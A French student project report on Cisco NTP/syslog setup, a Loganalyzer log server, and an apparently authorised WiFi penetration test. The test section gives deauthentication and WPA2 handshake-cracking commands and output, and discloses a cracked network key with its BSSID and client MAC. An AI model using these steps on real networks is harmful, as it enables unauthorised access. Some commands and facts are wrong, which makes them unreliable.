Tâche - Résultat

- Paramètrer la centralisation des données sur l'horaire (service NTP) depuis le router vers les autres périphériques réseaux (routeur - switchs)
- Dresser la liste des différents points devant faire l'objet d'un log au niveau des switch et des routeurs (en fonction de ce qu'il est possible de faire)
- Paramètrer les logs sur ces différents éléments sur les switchs et les routeurs
- Mettre en place un service permettant de recueillir ces logs et de pouvoir les consulter (serveur de logs)
- Déploiement NTP + Syslog
- Etudier les aspects techniques et mettre en oeuvre des tests de pénétration (SSID + mot de passe) sur le réseau Wifi.
- Kali outil utilisé

Paramètrer la centralisation des données sur l'horaire (service NTP) depuis le router vers les autres périphériques réseaux (routeur - switchs)

Bilan des commandes SANS Internet

Routeur

enable
clock set HH:MM:SS 19 March 2026
configure terminal
clock timezone CET 1
ntp master 3
end
write memory

Vérification :

show clock
show ntp status

Switchs (les deux)

enable
configure terminal
clock timezone CET 1
ntp server 192.168.99.1 // <IP_du_routeur>
end
write memory

Vérification :

show clock
show ntp associations

Points importants

- Ne pas mettre `clock summer-time CEST recurring` pour l'instant (on est encore en heure d'hiver, ça décalerait d'1h)
- Remplacer `<IP_du_routeur>` par une IP visible dans `show ip interface brief` sur le routeur
- Le `clock set` est à faire **avant** le `configure terminal`, sinon la commande n'est pas disponible

---

Bilan des commandes AVEC Internet

Routeur

enable
configure terminal

ntp server 0.fr.pool.org // serveur de google ntp 1
ntp server 1.fr.pool.org // serveur de google ntp 2 si il y a une dépanne d'un serveur de Google
ntp master 3 // Car on serveur qui possède internet
ntp source GigabitEthernet0/0/0.999 // Source vlan 999

exit
write memory

Switchs

enable
configure terminal

ntp server 192.168.99.1 // <IP_du_routeur>
clock timezone CET 1 // Fuseau horaire Europe +1h
clock summer-time CEST recurring last Sun Mar 2:00 last Sun Oct 3:00 // Fuseau horaire +2h si heure d'été
exit
write memory

Vérification :

show clock
show ntp associations

Dresser la liste des différents points devant faire l'objet d'un log au niveau des switch et des routeurs (en fonction de ce qu'il est possible de faire)

Liste des points loggés

Sur les Switches Cisco

Catégorie	Ce qui est loggé	Commande
Authentification	Connexions réussies et échouées SSH/VTY	`login on-success/failure log`
Configuration	Changements de config	`archive log config`
Réseau	Changements d'état des interfaces (up/down)	`logging event link-status`
STP	Changements de topologie Spanning Tree	`spanning-tree logging`
Trunk	Changements d'état des ports trunk	`logging event trunk-status`
Système	Logs en mémoire locale	`logging buffered 65536 informational`

Sur le Routeur Cisco

Catégorie	Ce qui est loggé	Commande

Authentification	Connexions réussies et échouées	`login on-success/failure log`
Configuration	Changements de config	`archive log config`
Réseau	Changements d'état des interfaces	`logging event link-status`
SSH	Événements SSH	`ip ssh logging events`
NTP	Synchronisation NTP	`ntp logging`
ACL	Trafic bloqué (deny)	`log` sur les ACL concernées

Paramètrer les logs sur ces différents éléments sur les switchs et les routeurs

Paramétrage des logs

Sur les Switches Cisco (swb - 192.168.99.14 / 192.168.99.13)

```
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
login on-failure log
login on-success log
archive
 log config
  logging enable
  logging size 200
  notify syslog contenttype plaintext
  hidekeys
spanning-tree logging
logging event link-status  (Fa0/3,6,7,8,16,17,18,19,20,21,22)
logging event trunk-status (Fa0/23, Gi0/1, Gi0/2)
```

Sur le Routeur Cisco (r0 - 192.168.99.1)

```
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
```

```
ip ssh logging events
ntp logging
archive
 log config
  logging enable
  notify syslog contenttype plaintext
  hidekeys
logging event link-status (Gi0/0/0, Gi0/0/1)
line vty 0 4
 login local
 transport input ssh
```

Zéro stockage sur le switch

```
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers

! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config

! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface Vlan999
logging on

! === AUTHENTIFICATION ===
login on-failure log
login on-success log

! === SPANNING-TREE ===
spanning-tree logging

! === ÉVÉNEMENTS PAR INTERFACE ===
interface FastEthernet0/3
 logging event link-status
interface FastEthernet0/6
```

```
 logging event link-status
interface FastEthernet0/7
 logging event link-status
interface FastEthernet0/8
 logging event link-status
interface FastEthernet0/16
 logging event link-status
interface FastEthernet0/17
 logging event link-status
interface FastEthernet0/18
 logging event link-status
interface FastEthernet0/19
 logging event link-status
interface FastEthernet0/20
 logging event link-status
interface FastEthernet0/21
 logging event link-status
interface FastEthernet0/22
 logging event link-status

! === TRUNK STATUS ===
interface FastEthernet0/23
 logging event trunk-status
interface GigabitEthernet0/1
 logging event trunk-status
interface GigabitEthernet0/2
 logging event trunk-status
```

Zéro stockage sur le routeur

```
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers

! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config
```

```
! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface GigabitEthernet0/0/0
logging on

! === SSH & NTP ===
ip ssh logging events
ntp logging

! === ÉVÉNEMENTS PAR INTERFACE ===
interface GigabitEthernet0/0/0
 logging event link-status
interface GigabitEthernet0/0/1
 logging event link-status

! === VTY SSH ===
line vty 0 4
 login local
 transport input ssh
```

Mettre en place un service permettant de recueillir ces logs et de pouvoir les consulter (serveur de logs)

Serveur de logs

Infrastructure mise en place

Composant	Détail
Serveur	VM ubuntu test ProXmox
IP	192.168.99.7
OS	Ubuntu 22.04.5 LTS
Service de collecte	rsyslog 8.2112.0
Interface web	Loganalyzer 4.1.13
Port d'écoute	UDP 514

---

1. Installation rsyslog

```
sudo apt update && sudo apt install rsyslog -y
sudo systemctl enable rsyslog
sudo systemctl start rsyslog
```

2. Activation réception UDP 514

Dans `/etc/rsyslog.conf`, décommenter :

```
module(load="imudp")
input(type="imudp" port="514")
```

3. Configuration du tri par équipement

`/etc/rsyslog.d/cisco.conf` :

```
:fromhost-ip, isequal, "192.168.99.14" /var/log/cisco/switch_bat_a.log
& /var/log/cisco/all.log
& stop

:fromhost-ip, isequal, "192.168.99.13" /var/log/cisco/switch_bat_b.log
& /var/log/cisco/all.log
& stop

:fromhost-ip, isequal, "192.168.99.1" /var/log/cisco/routeur.log
& /var/log/cisco/all.log
& stop
```

4. Création du dossier et droits

```
sudo mkdir -p /var/log/cisco
sudo chown syslog:adm /var/log/cisco
sudo chmod 755 /var/log/cisco
sudo chmod 644 /var/log/cisco/*.log
sudo systemctl restart rsyslog
```

5. Rotation des logs (365 jours)

`/etc/logrotate.d/cisco` :

```
/var/log/cisco/*.log {
    daily
    rotate 365
    compress
    missingok
    notifempty
    postrotate
        systemctl restart rsyslog
```

```
    endscript
}
```

6. Installation Loganalyzer

```
sudo apt install apache2 php libapache2-mod-php -y
cd /tmp
wget https://download.adiscon.com/loganalyzer/loganalyzer-4.1.13.tar.gz
tar xzvf loganalyzer-4.1.13.tar.gz
sudo cp -r loganalyzer-4.1.13/src /var/www/html/loganalyzer
sudo chmod 777 /var/www/html/loganalyzer
cd /var/www/html/loganalyzer
sudo touch config.php
sudo chmod 666 config.php
```

7. Droits de lecture Loganalyzer

```
sudo chmod 644 /var/log/syslog
sudo chmod 644 /var/log/cisco/*.log
```

8. Vérifications

```
# Port 514 ouvert
sudo ss -ulnp | grep 514

# Paquets reçus
sudo tcpdump -i any port 514 -nn

# Fichiers de logs
ls /var/log/cisco/

# Logs en temps réel
tail -f /var/log/cisco/switch_bat_a.log
tail -f /var/log/cisco/switch_bat_b.log
tail -f /var/log/cisco/routeur.log

# Validation config rsyslog
sudo rsyslogd -N1 2>&1
```

Résultat final

- Logs reçus en temps réel depuis les 3 équipements
- Fichiers séparés par équipement
- Rotation 365 jours
- Interface web Loganalyzer accessible sur `http://192.168.99.7/loganalyzer`
- Filtrage par Facility, Severity, Hostname disponible

Déploiement NTP + Syslog

1. NTP - Synchronisation temporelle

Objectif : Garantir une horodatage cohérent sur tous les équipements, indispensable pour corréler les logs.

- Chaque équipement Cisco (switchs + routeur) est configuré en client NTP pointant vers le serveur NTP du projet.
- La commande "ntp server <IP>" est appliquée sur chaque équipement.
- Le service "service timestamps log datetime msec" est ctivé pour horodater les logs avec précision (millisecondes).
- La timezone est uniformisée "clock timezone"

2. Syslog - Centralisation des journaux

Objectif : Collecter les événements réseau de tous les équipements vers un point central pour analyse et archivage.

Sur les équipements Cisco :

- Envoi des logs vers le NAS : "logging host 192.168.99.7"
- Niveau de sévérité retenu : informational (niveau 6)
- Action des événements pertinents :
  - logging buffered (tampon local)
  - archive log config (changements de configuration)
  - Spanning-Tree, authentification (login), interfaces

Sur le serveur de logs (Ubuntu 22.04.5 LTS)

- Rsyslog configuré pour recevoir les logs UDP / TCP (port 514) et les router par équipement dans "/var/log/cisco/<nom-équipement>.log
- Rotation des logs via "logrotate" avec rétention 365 jours (recommandation ANSSI)
- Loganalyzer déployé comme interface web de consultation et d'analyse des logs

3. Limitation du buffer de logs sur les Cisco

Objectif : Eviter la saturation de la mémoire des switchs et routeur.

```
logging buffered 16384 informational
```

- 16384 octets (16Ko) - valeur raisonnable pour un swich/routeur
- Evite la consommation excessive de RAM tout en gardant un historique local court.

```
no logging console     OU     logging console critical
```

Le logging console est très gourmand si une session est active. Le couper ou ne garder que les événements critiques est une bonne pratique.

```
no logging monitor
```

Inutile en production / démo, consomme des ressources inutilement.

```
logging host 192.168.99.7
logging trap informational
```

Le NAS stocke, le switch transmet et puis oublie.

Etudier les aspects techniques et mettre en oeuvre des tests de pénétration (SSID + mot de passe) sur le réseau Wifi.

Prérequis

Avant de commencer, vérifier que la carte WiFi supporte le **mode moniteur :**

```
# Identifier la carte WiFi
iwconfig
airmon-ng check kill          # Stopper les processus conflictuels
airmon-ng start wlan0         # Activer le mode moniteur → wlan0mon
```

Phase 1 & 2 — Reconnaissance et scan

```
# Lister tous les réseaux à portée
airodump-ng wlan0mon

# Cibler la borne de test une fois le BSSID repéré
# (remplacer XX:XX:XX:XX:XX:XX et le canal réel)
airodump-ng -c <canal> --bssid XX:XX:XX:XX:XX:XX -w /root/capture/irs-si wlan0mon
```

Ce que l'on collecte : BSSID, ESSID (SSID), canal, type de chiffrement (WPA2/WPA3), RSSI, liste des clients connectés.

Phase 3 — Capture du handshake WPA2

Le handshake 4-way s'échange lors de l'association client/AP. On force une reconnexion par déauthentification :

```
# Dans un second terminal (laisser airodump-ng tourner)
# -0 : nb de paquets deauth, -a : BSSID AP, -c : MAC client (optionnel)
aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY wlan0mon
```

Airodump-ng affiche `WPA handshake: XX:XX:XX...` en haut à droite quand c'est capturé. Le fichier `.cap` est écrit dans `/root/capture/`.

Phase 4 — Craquage du mot de passe

Avec aircrack-ng (dictionnaire)

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt \
            -b XX:XX:XX:XX:XX:XX /root/capture/irs-si-01.cap
```

Avec hashcat (GPU, plus rapide)

```
# Convertir le .cap en format hc22000
hcxtools-dpkt -o /root/capture/irs-si.hc22000 /root/capture/irs-si-01.cap
# ou :
cap2hccapx /root/capture/irs-si-01.cap /root/capture/irs-si.hccapx

# Attaque dictionnaire
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt

# Attaque par règles (variantes communes)
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

Phase 5 — Post-exploitation

Une fois le mot de passe obtenu :

```
# Reconnecter Kali sur le réseau WiFi de test
nmcli dev wifi connect "<SSID>" password "<motdepasse>" ifname wlan0

# Scan du réseau interne (VLAN 40)
nmap -sV -O 192.168.10.192/27

# Identifier hôtes actifs
nmap -sn 192.168.10.192/27
```

Kali outil utilisé

Cible identifiée

- **SSID** : `Visiteurs-IRS`
- **BSSID** : `70:F3:5A:27:95:30`
- **Canal** : 1
- **Chiffrement** : WPA2 CCMP PSK
- **Puissance** : -46 dBm (signal fort, proximité immédiate)
- **WPS** : activé (avec Fern)
- **Client connecté** : `2A:B7:E8:82:79:BE`

Phase 1 — Préparation de l'interface

```
airmon-ng check kill
airmon-ng start wlan0mon
iwconfig wlan0mon
```

Résultat : `wlan0mon` en **Mode Monitor**, fréquence 2.442 GHz (canal 6 par défaut, reconfiguré ensuite sur canal 1).

Phase 2 — Scan des réseaux

`airodump-ng` a détecté **235 AP** au total dans l'environnement (visible dans Fern). Le scan a permis d'identifier `Visiteurs-IRS` parmi d'autres réseaux présents (StJoCampus, StJoLaSalle, StJoProf, Freebox, SNIR_cyber, MC...).

Phase 3 — Ciblage et capture du trafic

```
sudo airodump-ng -c 1 --bssid 70:F3:5A:27:95:30 -w capture_wifi wlan0mon
```

Fichier créé : `capture_wifi-02.cap` — 3061 paquets capturés. Le client `2A:B7:E8:82:79:BE` est visible avec 7449 frames et des trames **EAPOL** (échanges du handshake).

Phase 4 — Déauthentification

```
sudo aireplay-ng --deauth 10 -a 70:F3:5A:27:95:30 -c 2A:B7:E8:82:79:BE wlan0mon
```

10 paquets DeAuth dirigés envoyés au client `2A:B7:E8:82:79:BE` entre 09:00:26 et 09:00:31. Le client a été forcé à se reconnecter, déclenchant l'échange du handshake WPA2.

Phase 5 — Validation du handshake

```
sudo aircrack-ng capture_wifi-02.cap
```

Résultat : **WPA (1 handshake)** confirmé pour `Visiteurs-IRS` / `70:F3:5A:27:95:30`. Le fichier `.cap` est valide et exploitable.

Phase 6 — Craquage du mot de passe

Tentative 1 — rockyou.txt (14 344 391 entrées) :

- Vitesse : 3230 k/s
- Temps estimé : 1h12 — mot de passe non trouvé dans rockyou (gros fichier avec 14 millions de mot de passe)

Tentative 2 — wordlistperso.txt (liste personnalisée) :

```
sudo aircrack-ng capture_wifi-02.cap -w /home/kali/Desktop/wordlistperso.txt
```

- 7/16 clés testées en moins d'une seconde
- **KEY FOUND! [stjolorient]**